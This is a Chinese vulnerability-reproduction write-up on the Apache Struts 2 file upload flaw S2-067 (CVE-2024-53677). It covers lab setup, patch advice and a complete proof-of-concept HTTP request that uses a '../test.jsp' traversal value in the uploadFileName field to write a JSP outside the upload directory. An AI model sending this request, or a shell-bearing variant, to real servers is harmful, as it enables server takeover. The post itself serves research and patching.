日期:2025年2月24日
作者:L-Noname
介绍:Apache Struts 2 任意文件上传漏洞(S2-067)。
0x00 前言
Apache Struts
是美国阿帕奇(Apache)
基金会的一个开源项目,是一套用于创建企业级Java Web
应用的开源MVC
框架。
主要提供两个版本框架产品,Struts 1
和Struts 2
。
Apache Struts 2.0.0版本至6.4.0
之前版本存在安全漏洞,该漏洞源于文件上传逻辑缺陷。
0x01 影响版本
2.5.0 ≤ Apache Struts 2 ≤ 2.5.33
6.0.0 ≤ Apache Struts 2 ≤ 6.3.0.2
0x02 环境搭建
首先配置一个Tomcat
环境,下载地址为https://tomcat.apache.org/
CATALINA_HOME:
E:tomcat(自己的安装目录)
Path:
%CATALINA_HOME%lib
%CATALINA_HOME%libservlet-api.jar
%CATALINA_HOME%libjsp-api.jar
CMD
使用startup.bat
命令启动,如遇到乱码可以在conflogging.properties
更改一下格式。
IDEA
,链接为
https://www.jetbrains.com/idea/download/?section=windows#section=windows
在【设置-构建-执行-部署-应用程序服务器】中添加Tomcat
服务器。
S2-067
源码配置端口8088
成功。
http://localhost:8088/untitled_war
即为成功。
0x03 漏洞复现
利用下面的poc
上传一个测试jsp
。
POST /untitled_war/uploads.action HTTP/1.1
Host: localhost:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------5666374811330086939490758528
Content-Length: 523
Origin: http://localhost:8088
Connection: keep-alive
Referer: http://localhost:8088/untitled_war/
Cookie: JSESSIONID=2442DEBB93D8F28DFEA08FAA6B997304
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
-----------------------------5666374811330086939490758528
Content-Disposition: form-data; name="Upload"; filename="test.txt"
Content-Type: application/octet-stream
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<body>
<p>test</p>
</body>
</html>
-----------------------------5666374811330086939490758528
Content-Disposition: form-data; name="uploadFileName[0]";
../test.jsp
-----------------------------5666374811330086939490758528--
0x04 修复意见
官方已更新补丁:https://struts.apache.org/core-developers/file-upload
原文始发于微信公众号(宸极实验室):『漏洞复现』Apache Struts 2 任意文件上传漏洞(S2-067)(CVE-2024-53677)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论